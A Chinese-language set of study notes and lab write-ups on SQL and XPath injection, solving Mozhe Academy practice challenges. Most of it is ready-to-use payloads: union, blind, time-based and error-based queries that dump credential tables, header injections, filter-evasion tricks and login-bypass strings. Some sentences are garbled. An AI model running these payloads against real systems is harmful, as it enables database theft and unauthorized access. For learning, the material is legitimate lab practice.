sql注入整理
在我们测试用到的时候,经常会使用到一些语法,应该透彻理解透彻这些函数
1)order byb
用于根据指定的列对。
语句默认按照升序对记录进行排序。
语法:select id ,username,password from users order by password;
2)UNION 操作符
MySQL UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据。
注意:UNION 内部的每个 SELECT 语句必须拥有。列也必须拥有相似的数据类型。
默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。
语法:select * from users union select 1,2,3;
image.png
输入不同的列数,会报错
image.png
3)limit
LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初始记录行的偏移量是 0(而不是 1)
语法:
limit 0,1, 从你的表中的第0个数据开始,只读取一个;
4)concat函数,concat_ws函数,concat_group函数之间的区别
- concat()函数
concat()函数用于将多个字符串连接成一个字符串。
使用数据表users作为示例,其中select id,username,password from users limit 1;
mysql> select id,username,password from users limit 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
语法及使用方式
concat(str1,str2,......)
如果结果为连接参数产生的字符串。如果任何一个参数为NULL,则返回NULL。可以是一个参数也可以是多个参数。
使用方法:
mysql> select concat(id,',',username,',',password) as con from users limit 1;
+-------------+
| con |
+-------------+
| 1,Dumb,Dumb |
+-------------+
1 row in set (0.00 sec)
分隔符为NULL 示例
mysql> select concat('id',null,'username') as con from users limit 1;
+------+
| con |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
- concat_ws
指定参数之间的分隔符
使用concat_ws()
使用语法:concat_ws(separator,str1,str2.....)
concat_ws() 代表concat with separator ,是concat()的一种特殊形式。第一个参数为分为分隔符,分隔符的位置放在要连接的两个字符串之间,分隔符可以是一个。如果分隔符为NULL,则结果为NULL。函数会忽略任何分隔符后面的NULL值。
但是concat_ws()不会忽略任何字符串(然而会忽略所有的null)
示例:
mysql> select concat_ws('-',id,username,password) as con from users limit 2,2;
+------------------+
| con |
+------------------+
| 3-Dummy-p@ssword |
| 4-secure-crappy |
+------------------+
2 rows in set (0.00 sec)
mysql> select concat_ws('-','username',null,'password');
+-------------------------------------------+
| concat_ws('-','username',null,'password') |
+-------------------------------------------+
| username-password |
+-------------------------------------------+
1 row in set (0.00 sec)
-
group_concat()
group_concat函数返回一个字符串结果,该结果由分组中的值连接组合而成 -
group by
可以将sql查询的结果按照group by后面列进行分类显示
如:
select columnA,columnB from table group by columnA,columnB
则查询结果将按照columnA和columnB分类显示。没有显示在group by中的列不能直接作为返回列放在sql语句中,比如如下sql就是不正确的
select columnA,columnC from table group by columnA
习题
1、SQL注入(布尔盲注注入)
用到的函数
- substr
substr函数是用来截取数据库某一列字段中的一部分。
用法:
substr(str,pos,len); //str:字符串,pos:起始位置,len:截断长度
mysql> select substr('2018-08-0711111',6,7);
+-------------------------------+
| substr('2018-08-0711111',6,7) |
+-------------------------------+
| 08-0711 |
+-------------------------------+
1 row in set (0.00 sec)
mysql> select substr('2018-08-0711111',6);
+-----------------------------+
| substr('2018-08-0711111',6) |
+-----------------------------+
| 08-0711111 |
+-----------------------------+
1 row in set (0.00 sec)
mysql中的substr()函数和hibernate的substr()参数都一样,就是含义有所不同。
区别:
mysql中的start是从1开始的,而hibernate中的start是从0开始的。
所谓的盲注,就是在注入过程中,sql语句的执行结果不回显到前端,这个时候只能用一些其他的方法进行尝试和判断,这个判断的过程叫做盲注,盲注可以分为:布尔盲注、基于时间的盲注、基于报错的盲注
既然是布尔盲注,那回显结果肯定要被判别为True和False.
这里举例,墨者学院的题目。
不太想用工具,所以把注入过程整理出来
启动靶机,发现是一个登陆口,界面上滚动栏存在sql注入点
image.png
判断是否存在注入,输入单引号,页面报错
image.png
这里就把页面是为False,上面页面有内容视为True.然后我们就能以标准去判断枚举,比如我们猜测数据库的长度,判断它是不是大于10,我们可以访问
http://219.153.49.228:41882/new_list.php?id=1 and length(database())>10
image.png
结果页面返回Flase,就是说明数据库小于10或者等于10,于是进行下一步探测,发现长度等于10
image.png
知道了数据长度,下面就要猜测数据库名了,我们这边使用substr函数进行探测
语句为
?id=1 and ascii(substr((select database()),1,1))=111
手动一个一个探测肯定慢,还是使用burpsuite进行探测
image.png
payload 1设置为数据库的长度10
payload 2 设置为numbers,from 1 ,to 127,step1
进行爆破
image.png
跑出来的结果和ASCII值进行匹配,结果为:
image.png
库:
stormgroup
知道了库,下面就要爆破 表名了,重复上面的步骤即可,发现数据库存在两个表,
and ascii(substr((select table_name from information_schema.tables where table_schema='stormgroup' limit 1,1),1,1))=110
image.png
and ascii(substr((select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),1,1))=109
image.png
表为
notice
member
探测列名
and ascii(substr((select column_name from information_schema.columns where table_name='member' and table_schema='stormgroup' limit 0,1),1,1))
image.png
and ascii(substr((select column_name from information_schema.columns where table_name='member' and table_schema='stormgroup' limit 1,1),1,1))
image.png
我只要知道存用户名和密码的列即可,其他的列可以不用猜测的
列:
name
password
接下来就是才是用户密码密码了,这边用户名好猜测,密码我就不知道怎么猜测了,密码是MD5加密32位的。
and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))
image.png
得到的用户名位:mozhe
爆破密码
and ascii(substr((select concat(password) from stormgroup.member limit 1,1),1,1))
image.png
把爆破位数和ascii的值进行整理,python把ascii表转换成数字与字母,解码得到密码,进行登陆。
盲注时候经常用到比较,这时候要是比较符号(<>)被注释了不能用平常的方法了,所以需要用某些函数如greatest()[greatest(n1,n2,n3....)
函数返回输入参数(n1,n2,n3.....)的最大值]、least()等
,比如下面语句:select * from users where id =1 and ascii(substr(database(),0,1))>64
就就可以替换成select * from users where id =1 and greatest(ascii(substr(database(),0,1)),64)=64
等价函数绕过:
hex()、bin() ---->ascii()
sleep() --->benchmark()
concat_ws() ---> group_concat()
mid()、substr() --->substring()
@@user ---> user()
@@datadir --->datadir()
举例说明substring()
和substr()
无法使用时:id=1+and+ascii(lower(mid((select+pwd+from+users+limint+1,1),1,1)))=74
或者:
substr((select 'password'),1,1)=0x70
#0x70,十六进制编码
strcmp(left('password' ,1),0x69)=1
strcmp(left('password',1)0x70)=0
strcmp(left('password',1),0x71)=-1
2、X-Forwarded-For注入漏洞
漏洞背景
在Web应用开发中,经常会需要获取客户端IP地址。一个典型的例子就是投票系统,为了防止刷票,需要限制每个IP地址只能投票一次。
X-Forwarded-For也是HTTP头注入注入的一种;
如何获取到客户端ip
在java中,获取客户端IP最直接的方式就是使用。这种方式能获取到连接服务器客户端IP,在,这种方式最简单最直接。但是互联网web应用很少会将应用服务器直接对外提供服务,一般都是会有一层nginx反向代理和负载均衡,有的甚至可能还有很多层代理。在有代理的情况下,直接使用获取到的是nginx所在的服务器IP地址,并不是客户端的IP地址。
为了解决这个问题,很多HTTP代理会在HTTP头中添加头,用力追踪请求的来源。X-Forwarded-For的格式如下
X-Forwarded-For:client1,proxy1,proxy2
包含多个IP,每个值使用逗号+空格分开,最左边(client1)是最原始客户端的IP地址,中间如果有多层代理,每一层代理会将连接它的客户端IP追加到右边。
用到的函数
- extractvalue()
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
- updatexml()
and extractvalue(null,concat(0x7e,(sql_inject),0x7e))
可以理解成,让后台xml故意报错
0x7e的具体含义是:~
利用这种方式,对后台进行一个排序,指定第一个参数位null,让他故意报错,将第二个参数中的语句带入数据库执行,最后报错显示执行的结果。
id= 1 and extractvalue(null,concat(0x7e,(select database()),0x7e))
and updatexml(1,concat(0x7e,(sql_inject),1))
updatexml用于更新XML数据的,但是我们非法传参的话,使他估计报错,执行我们的SQL语句,0x7e任然是~用来区分数据的
漏洞示例演示:
打开环境,发现页面只有登陆口,对登陆口进行用户名密码猜解,点击提交,提示框会收集客户端IP地址,说明IP地址被记录了,把IP地址inser到表中
抓包瞅瞅,在数据包中加入x-forwarded-for头,值为:127.0.0.1发送请求后发现返回alert语句,记录了我们使用的这个IP地址,后面加上单引号直接爆错。看到登录页面的时候心里就应该知道,他是没有返回的地方的,但是开启了报错信息,所以有可能是报错注入。
image.png
根据回显数据知道输入的ip会回显,尝试注入
由于用了单引号进行报错,所以后面一定要构造闭合,爆当前数据库
127.0.0.1' and extractvalue(null,concat(0x7e,(select database()),0x7e)) and '1'='1 #and '1'='1用于闭合后面的语句
image.png
枚举表名
127.0.0.1' and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='webcalendar'),0x7e)) and '1'='1
image.png
枚举列名
127.0.0.1' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='webcalendar' and table_name='user'),0x7e)) and '1'='1
image.png
枚举用户名密码
127.0.0.1' and extractvalue(null,concat(0x7e,(select group_concat(username,password) from user),0x7e)) and '1'='1
image.png
等到用户名密码进行登陆。
3、SQL过滤字符后手工注入漏洞测试(1)
测试的时候发现不管输入什么字符都不行,估计是检测到我注入语句了,然后进行跳转;
过滤了空格,过滤了=,所以这边我们空格使用/**/进行绕过,=使用like或in进行绕过;
这个题目还有一个坑,我是网上看wp才知道的,order by,union select ,and 字段,也被过滤了,需要url编码之后才能进行注入
判断注入的类型数值型
/**/and/**/1/**/like/**/1 页面正常显示
/**/and/**/1/**/like/**/2 页面报错
image.png
知道注入类型之后,还有绕过的方式,下面就开始表演把。
下面所有注入语句都需要利用burpsuite自带的模块decoder进行url编码
测试长度5报错,4正常显示,说明长度为4
/**/order/**/by/**/5
image.png
查看当前显示位
/**/union/**/select/**/1,2,3,4 进行url编码
image.png
当前数据库和当前数据用户
/**/union/**/select/**/1,database(),user(),4
image.png
判断表
/**/union/**/select/**/1,group_concat(table_name),3,4 from/**/information_schema.tables/**/where/**/table_schema=database()
image.png
判断列
/**/union/**/select/**/1,group_concat(column_name),3,4/**/from information_schema.columns/**/where/**/table_name='stormgroup_member
image.png
获取数值
/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/stormgroup_member
image.png
4、SQL手工注入测试(Access数据库)
,所有的表都是在一个数据库下的,所有我们不用去判断当前的数据库,并且Access数据库中也
Access数据库中的函数
select len('string') #查看给定字符串的长度
select asc('a') #查看当前给定字符串的ascii值
top n #查询n条记录
select mid('string',2,1) #查询给定字符串从指定索引开始的长度
mid(string,start,length)这个用来截取字符串的
- string是要截取字符串
- start是截取的字符串开始的索引
- length是要截取字符串的长度
Access数据库持有表是:msysobjects,所以可以用它来判断是否是Access数据库
exists(select*from msysobjects) #如果这条语句正确,说明是Access数据库
判断漏洞类型为数值型
and 1=1 返回正常
and 1=2 返回报错
image.png
判断长度长度为4,5页面报错
order by 4
image.png
猜表名(应为Access数据库用联合语句显示可显示字段时,必须用“from 表名,所有要先猜测表名”)
and exists(select * from admin) #若存在表名为admin的表,则正常显示,否则现在出错
表为:admin
常见的表有
admin admins admin_user admin_usr admin_msg admin_login user username manager msg_user msg_login useradmin 等等
提示:Access数据库有个表名为:news,没啥用
猜列名
and exists(select username from admin) #若admin表中存在列名为username的列,则页面显示正常,否则页面出错
and exists(select passwd from admin) #若admin表中存在列名为passwd的列,则页面显示正常,否则页面出错
列名为:passwd和username
image.pngimage.png
常见的列
admin admin_user username password passwd pass pwd users usr user_login user_name login_name 等等
最后一步就是获取用户名和密码了
首先需要判断显示位
union select 1,2,3,4 from admin
image.png
联合查询
union select 1,username,passwd,4 from admin
image.png
得到用户名和密码,我这个是好猜测的,一般都是比较难猜测表和列的。
猜测admin列的第一个数据的长度,如果大于5查询不出数据,大于4正常,说明admin列的第一个数据长度是5
and (select top 1 len(admin)from admin)>5
猜测admin列的第一行数据的第一个字符的ascii码值,如果大于97查询不出数据,大于96正常,说明admin列的第一行数据的第一个字符的ascii值是97
and (select top 1 asc(mid(admin,1,1))from admin)>97
第一行数据的第二个字符
and (select top 1 asc(mid(admin,2,1))from admin)>97
从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
查询第二行admin列的长度
and (select top 1 len(admin) from ( select top 2 * from information order by id) order by id desc)>55
下面是查询第2条数据的第3个字符
and (select top 1 asc(mid(admin,3,1)) from ( select top 2 * from information order by id) order by id desc)>55
查询第三条数据的4个字符
and (select top 1 asc(mid(admin,4,1)) from ( select top 3 * from information order by id) order by id desc)>55
输入-1页面报错
image.png
数值型注入
and 1=1 正确
and 1=2 报错
image.png
长度4,5爆错
order by 4
image.png
显示位
?id=-1 union select 1,2,3,4
image.png
当前数据库与用户
?id=-1 union select 1,database(),user(),4
image.png
列
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
image.png
表
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=‘mozhe_Discuz_StormGroup' and table_name='StormGroup_member'
image.png
爆用户名和密码
?id=-1 union select 1,group_concat(name),group_concat(password),4 rom StormGroup_member
image.png
5、SQL注入漏洞测试(报错盲注)
根据题目提示可以知道,该题目是报错盲注,上面提到的两个函数都是可以使用的extractvalue()和updatexml(),上面我用过extractvalue函数了,这题我将使用updatexml函数。
输入单引号页面报错,存在注入
image.png
判断注入的类型
and 1=1 and 1=2 页面均显示正常
判断为字符型
' and 1=1 --+ 页面正常
' and 1=1 --+ 页面报错
根据上面报错信息,我们可以知道后面的语句需要进行闭合 --+或者%23都可以
判断长度为4,5页面报错
?id=1' order by 4 --+
image.png
判断当前数据库也可以判断当前用户名,修改database()变成user()即可
?id=-1' and (updatexml(null,concat(0x7e,(select database()),0x7e),1)) --+
image.png
查看表
?id=-1' and (updatexml(null,concat(0x7e,(select group_concat(table_namea) from information_schema.tables where table_schema=database()),0x7e),1)) --+
image.png
查看列
?id=-1' and (updatexml(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member'),0x7e),1)) --+
image.png
爆用户名密码
?id=-1' and (updatexml(null,concat(0x7e,(select group_concat(name,0x7e,password)from member),0x7e),1)) --+
image.png
哎,不对呀,这个密码怎么只显示了一半呢?看了其他人的wp知道,由于报错回显的字符串位数有限,因此使用substr进行裁剪
获取密码前20位
status=1 获取status为1的name和password的值,其他值可以根据实际环境进行调整0,1,2.....
?id=-1' and (updatexml(null,concat(0x7e,substr((select group_concat(name,0x7e,password) from member where status=1),1,20),0x7e),1)) --+
image.png
获取密码21-40
?id=-1' and (updatexml(null,concat(0x7e,substr((select group_concat(name,0x7e,password) from member where status=1),21,40),0x7e),1)) --+
image.png
解密进行登陆
6、SQL注入漏洞测试(HTTP头注入)
第一次做这种类型的环境,看了其他人的wp才知道注入点在host上面
修改host参数
or 1=1 页面报错,判断存在注入
判断长度
长度为4,5报错
Host:order by 4
image.png
判断显示位
Host: union select 1,2,3,4
image.png
判断当前数据库与用户名
Host: union select 1,database(),user(),4
image.png
枚举表
Host: union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
image.png
枚举列
Host: union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='flag'
image.png
获取flag
Host: union select 1,group_concat(flag),3,4 from flag
image.png
7、SQL手工注入漏洞测试(MySQL数据库-字符型
输入单引号页面报错
image.png
输入
?id=tingjigonggao' and '1'='1 页面正常显示
?id=tingjigonggao' and '1'='2 页面显示异常
image.png
判断长度
长度为4,5爆错
?id=tingjigonggao' order by 4 %23
image.png
判断当前显示位
?id=-1' union select 1,2,3,4 --+
image.png
判断当前数据库
?id=-1' union select 1,database(),3,4 --+
image.png
判断表
?id=-1' union select 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema=database() --+
image.png
判断列
?id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='stormgroup_member' --+
image.png
爆用户名密码
?id=-1' union select 1,group_concat(name),group_concat(password),4 from stormgroup_member --+
image.png
8、SQL注入漏洞测试(时间盲注)
原理:当数据库进行查询操作,如果查询的条件不存在时,语句执行的时间便是0,但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本上是0。
例子
image.png
于是sleep(N)这个语句在这种情况下起到了非常大的作用。
Select sleep(N)可以让此语句运行n秒钟。
image.png
但是如果查询语句的条件不存在,执行的时间便是0,利用该函数这样一个特殊的性质,可以利用时间延迟来判断我们查询的是否存在。
这便是SQL基于时间延迟的盲注的工作原理
用到的函数
if
格式:if(Condition,a,b)
含义:如果Condition成立,则A,负责B
substr
格式:substr(string,start,len)
含义:从string的start位开始截取len个字符
ascii
格式:ascii(char)
含义:将char转换成ascii码
盲注思路:
基于时间的盲注
if(ascii(substr(查询语句,start,1))=97,sleep(3),1)
基于布尔盲注
or ascii(substr(查询语句,start,1))=97
substr函数中可以连接select语句
两种类型注入的区别
- 基于布尔盲注是根据页面差异判断是否存在注入,以及数据注入的
- 基于时间盲注是通过盲注不能得到差异页面的(比如不管输入什么都显示一个页面,这时候可以尝试时间盲注)
补充
- 第一种情况:无论输入什么都只是无信息页面,例如登陆页面。这种情况下可能只有登陆失败页面,错误页面被屏蔽了,并且在没有密码的情况下,登录成功的页面一般情况下也不知道。在这种情况下,有可能基于时间的sql注入会有效。
- 第二情况:无论输入什么都只是正常信息页面,例如:采集登录用户信息的模块页面,采集用户的IP、浏览器类型、refer字段、session字段、无论用户输入什么,页面都显示正常。
- 第三种情况下:差异页面不是由输入URL中的sql语句来决定的,这种情况下,也只能使用基于时间盲注。
例子:
判断当前数据库是否存在注入
输入
?type=1 and if(1=1,sleep(5),1) --+ 时间为5.23s
?type=1 and if(1=2,sleep(5),1) --+ 时间297ms
存在时间注入
image.png
判断数据库长度
当等于12时,发送时间注入延时
?type=1 and if(length(database())=12,sleep(5),1) --+
image.png
查看当前数据库
依旧使用神器bp,进行爆破
?type=1 and if(ascii(substr(database(),1,1))=98,sleep(5),1) --+
image.png
猜表的长度
判断长度为4,发送时间注入延时
?type=1 and if(length((select table_name from information_schema.tables where table_schema='pentesterlab' limit 1,1))=4,sleep(5),1) --+
image.png
猜解当前表,有4个表,修改payload进行猜解
表:comment、flag、.....
?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102,sleep(5),1) --+
image.png
?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))=116,sleep(5),1) --+
image.png
获取字段值
猜解长度,为4
?type=1 and if(length((select column_name from information_schema.columns where table_name='flag' limit 1,1))=4,sleep(5),1) --+
image.png
字段猜测
?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=‘flag’ limit 0,1),1,1))=105,sleep(5),1) --+
image.png
?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=‘flag’ limit 1,1),1,1))=105,sleep(5),1) --+
image.png
表有:id 、flag.........
获取数据
判断长度
长度为6,发送延迟注入
?type=1 and if(length((select flag from flag limit 0,1))=6,sleep(5),1) --+
image.png
?type=1 and if(ascii(substr((select flag from flag limit 0,1),1,1))=109,sleep(5),1)--+
image.png
得到flag,进行提交
9、XPath注入漏洞实战
XML 被设计用来传输和存储数据
HTML 被设计用来显示数据。
在利用漏洞前,我们需要对漏洞原理进行理解。
由于SQL中存在权限的概念,所以在程序中和数据库方面都可以对数据库权限做分配和防护。而XPath中数据管理不受权限控制,在表单中提交恶意的XPath代码,就可以直接获取到权限数据的访问权,并可修改这些数据。同样的,构造恶意查询获取到系统内部完整的XML文档内容造成信息泄露。也可以在获取到XML文档内容后进行用户权限提升等。
XPath注入
XPath是一种用在内存中导航整个XML数的语言,它使用路径表达式来获取XML文档中的节点或者节点集。XPath的设计初衷是作为以一种面向XSLT和Xpointer的语言,后来独立成了一种W3C标准。而XPath注入是指利用XPath解析器的和,能够在url、表单或其他信息上附带恶意的XPath查询代码,已获得权限信息的访问权并更改这些信息。XPath注入与SQL注入类似,均是通过构造恶意的查询语句,对应用程序进行攻击。
XPath注入攻击原理
Xpath注入的原理其实和sql注入很像,Xpath攻击注入主要通过构建特殊的输入,这些输入往往是Xpath语法中的一些组合,这些输入将作为参数传入web应用程序,通过执行Xpath查询而执行入侵者想要的操作,但是,注入的对象不是。
攻击者可以获取xml数据的结构,或者访问在正常情况下不允许访问的数据
,如果xml数据被用户认证,那么攻击者就可以提升权限。
因为Xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。XML中没有访问控制或者用户认证,如果用户有权限使用Xpath查询并且之间没有任何防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个XML文档。
注入出现的位置也就是XPath注入攻击主要是通过构造特殊的输入,这些输入将作为参数传入web应用程序中,通过执行XPath查询而执行入侵者想要的操作,下面以登录验证中的模块为例,说明XPath注入攻击的实现原理。
在WEB应用程序的登陆验证过程中,一般有用户名(username)和密码(password)两个参数,程序会通过用户所输入的用户名和密码来执行授权操作,如验证数据存放在XML文件中,其原理是通过查找user表中的用户名(username)和密码(password)的结果来进行授权访问。
例如存在user.xml文件如下:
<users>
<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>
</user>
<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>
</user>
则在XPath中其典型的查询语句如下:
//users/user[loginID/text()='zs' and password/text()='123test']
但是可以采用如下方式实施注入攻击,绕过身份验证。如果用户传入一个login和password,例如loginID='zs'和密码password='123test',则该查询语句将放回True。但如果用户传入类似'or 1=1 or ''='的值,那么该查询语句也会得到True返回值,
//users/user[loginID/text()=''or 1=1 or ''='' and password/text()=''or 1=1 or ''='']
这个字符串在逻辑上使查询一直返回True并将一直允许攻击者访问系统。攻击者可以利用Xpath在引用程序中动态的操作XML文档。攻击完成后登陆可以在通过Xpath盲入技术获取最高权限和其他重要账号。
例子
判断注入点:
网站url/demo.php?name=xml
,判断可能存在Xpath注入漏洞。
输入单引号,页面发生变化
分析:
Xpath中典型的查询语句如下:
//users/user[loginID/text()='user' and password/text()='password']
这里怀疑查询语句为:
//users/user[loginID/text()='xml' and password/text()='']
可以采用如下的方式实施注入攻击,绕过身份验证。如果用户传入一个login和password,例如loginID='user'和password='password',则该查询语句将返回true。但是如果用户传入类似' or 1=1 or ''=' 的值,那么查询语句也会得到true返回值,因为Xpath查询语句最终会变成下面的这种代码:
//users/user[loginID/text()=''or 1=1 or ''='' and password/text()=''or 1=1 or ''='']
闭合语句,绕过验证。
在网址后面加上' or '1=1' or ''=' 或者']|//*|//*['
' or '1=1' or ''=' 闭合语句再进行绕过
类似的还有,都可以实现绕过
'or '1'='1、'or '1'or'1、'or 1=1 or ''='、']|//*|//*['
']|//|//[' Xpath 语法,访问XML的所有节点类似sql注入,绕过查询条件
10、SQL手工注入漏洞测试(Sql Server数据库) (不太熟)
做题之前首先要了解一下sql server数据库,这样才能更好的学习
sql server 的正式名称是“Microsoft SQL Server”。微软的数据库应用程序是“SQL Server”
其他几个数据库
Oracle:最著名的Oracle数据库。甲骨文公司的一款关系数据库管理系统
Mysql:一个开源数据库。通常用于WEB应用开发
SQL Server:Microsoft数据库,操作简单。
PostgreSQL:一个开源数据库,关系型数据库,功能强大。
DB2:是IBM一种分布式数据库解决方案。简单点:DB2就是IBM开发的一种大型关系型数据库平台。
Oracle和SQL Server通常在企业中使用比较多,占用率很高。Mysql通常在WEB应用开发中使用。
系统库
master
master数据库控制sql server的这个数据库中包含所有的配置信息、用户登陆信息、当前正在服务器运行中的过程的信息。
model
model数据库是当你建立一个新的数据库时,sql server会把model数据库中的所有对象建立一份拷贝并移动到新数据库中,在模板对象被拷贝到新的用户数据库之后,该数据库的所有多余空间都将被页面填满。
tempdb
tempdb数据库是一个非常特殊的数据库,这个库用来保存所有的、存储过程和其他sql server建立的临时用的东西,例如:排序时要用到tempdb数据库,数据被放进tempdb数据库,排完序会再把结果返回给用户。每次sql server重启,它都会情况tempdb数据库并重建,不要在tempdb数据库上面建立需要永久保存的表。
msdb
msdb数据库是sql server中的一个特例,如果你查看这个数据库的实际定义,会发现它其实是一个,不同之处是sql server拿这个数据库用来做什么,所有的任务调度、报警、操作员都存储在这个msdb数据库中给,该库的另一个功能是用来存储所有备份历史,sql server agent将会使用这个库。
information_schema
information_schema是在sql server 2000及跟高版本存在的,可以检索数据库中的对象的元数据,,它是符合iso标准的,与sys不同,sys是微软自己搞出来的。
注释方式
c语言注释风格 /*
sql 注释风格 --
空字节 ;%00
T-sql语句注释:/**/、--
系统视图
sys.databases:所有数据库名
image.png
information_schema.tables 当前数据库中的表
image.png
information_schema.columns 当前数据库列
image.png
sys.database_files 数据库数据文件
image.png
常用的全部变量
@@version:返回当前的Sql server安装的版本、处理器体系结构、生成日期和操作系统。
@@servername:放回运行Sql server的本地服务器名称
image.png
逻辑运算符
all:如果一组的比较都为true,那么为true
and:如果两个布尔表达式都为true,则为true
or:如果两个布尔表达式中的一个为true,则为true
any:如果一组的比较中,任何一个为true,那么为true
between:如果操作数在某个范围内,那么为true
in:如果操作数等于表达式列表之一,那么为true
like:如果操作数与一种模式相匹配,则为true
not:对任何其他布尔运算的值去反
some:如果在一组比较中,有些为true,则为true
top
在sql server,没有MySQL中的limit控制符,如果实现limit控制符功能则可以使用top进行代替
select top(n-m+1) id from tablename
where id not in (
select top m-1 id from tablename
)
image.png
image.png
连接运算符
+号是字符串串联运算符:'aaa+bbb'='aaabbb'
image.png
函数
ASCII()、CHAR()、LEFT(str,i)、RIGHT(str,i)、LEN(str)、SUBSTRING(str,i,n)
STR(i):将数值转换到字符数据
类型转换
cast(x as type) 将一个类型转换成另一个类型 cast(10 as char(3))
系统函数
col_length(table,column) 返回表中指定字段长度值
col_name(table_id,column_id) 返回表中指定字段的名称
datalength(exp) 返回数据表达式的数据是实际长度
image.png
image.png
db_name(database_id) 返回当前数据库的名称
image.png
host_name 返回服务器计算器名称
image.png
suser_sname 返回当前用户登录名
image.png
user_name() 返回数据库用户名
image.png
基本注入
这里做一个判断and 1=1 和 and 1=2,来做一个简单的分析
image.png
判断字段数,3显示异常,4显示正常,5又是异常,不知道长度到底为2还是4
?id=2 order by 4
image.png
判断显示位
通过sql语句中union select null,null,null,null 和union select null,null页面都是显示错误,说明系统禁止使用union进行相关SQL查询,我们得使用其他的方式进行查询union all select
union select null,null,null字段为4的时候正常的,可以看到回显,就不用布尔和时间盲注了。然后需要猜测数据类型,因为这个语句对应的字段的数据类型必须要正确,才不会报错。常用的一般就是字符和字符,然后分别尝试union all select 1,null,null,null正常,union all select 1,2,null,null正常,union all select 1,2,3,null异常,把3改为‘3’,正常,能看到回显了(一开始的3是数字类型,数据库的是字符串类型所以一直失败。)
?id=-2 union all select 1,2,'3',null
image.png
枚举当前用户和数据库版本
?id=-2 union all select 1,system_user,@@version,2
image.png
当前数据库
?id=-2 union all select 1,system_user,db_name(),2
image.png
测试权限
?id=2/is_srvrolemember('sysadmin')
image.png
加号的使用
%2B是+的编码,url中不能直接使用,否则会别解析为空格
http://219.153.49.228:49135/new_list.asp?id=2 and 1=0 union all select 1,system_user%2B'|'%2Bdb_name(),@@version,2
翻译成为
http://219.153.49.228:49135/new_list.asp?id=2 and 1=0 union all select 1,system_user+'|'+db_name(),@@version,2
枚举出当前所有的数据库
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),name,2 from master..sysdatabases
image.png
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),name,2 from master..sysdatabases where name not in('master')
image.png
按照上面方法,直到报错
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),name,2 from master..sysdatabases where name not in('master','model','mozhe_db_v2','msdb','tempdb')
image.png
即得到所有的数据库为:
'master','model','mozhe_db_v2','msdb','tempdb'
我比较疑问的是这里为什么使用master..sysdatabases,百度了之后才知道,Microsoft SQL Server上的每个数据库在表中占一行。最初安装 SQL Server 时, sysdatabases 包含 master 、 model 、 msdb 、 mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。
枚举出目标库的所有表
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),name,2 from mozhe_db_v2..sysobjects where xtype='u'
image.png
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),name,2 from mozhe_db_v2..sysobjects where xtype='u' and name not in ('manage')
image.png
按照上面方法,直到报错
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),name,2 from mozhe_db_v2..sysobjects where xtype='u' and name not in ('manage','announcement')
image.png
报错,结束
即得到所有的表名为:manage,announcement
需要解释的函数
MSsqlserver==microsoft sql server==mssql
这里的mmsql和MySQL语法有点不同,mmsql记录敏感信息的表在sysobjects中
当xtype='U' 代表是用户建立的表。
可以参考这里的文章进行学习和理解sysobjects、xtype
枚举出表的字段名
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),b.name,2 from mozhe_db_v2..sysobjects a, mozhe_db_v2..syscolumns b where a.xtype='U' and a.id=b.id and a.name='manage'
image.png
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),b.name,2 from mozhe_db_v2..sysobjects a, mozhe_db_v2..syscolumns b where a.xtype='U' and a.id=b.id and a.name='manage' and b.name not in ('id')
image.png
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),b.name,2 from mozhe_db_v2..sysobjects a, mozhe_db_v2..syscolumns b where a.xtype='U' and a.id=b.id and a.name='manage' and b.name not in ('id','username','password')
image.png
即得到表manage的字段名为:id,username,password
同理
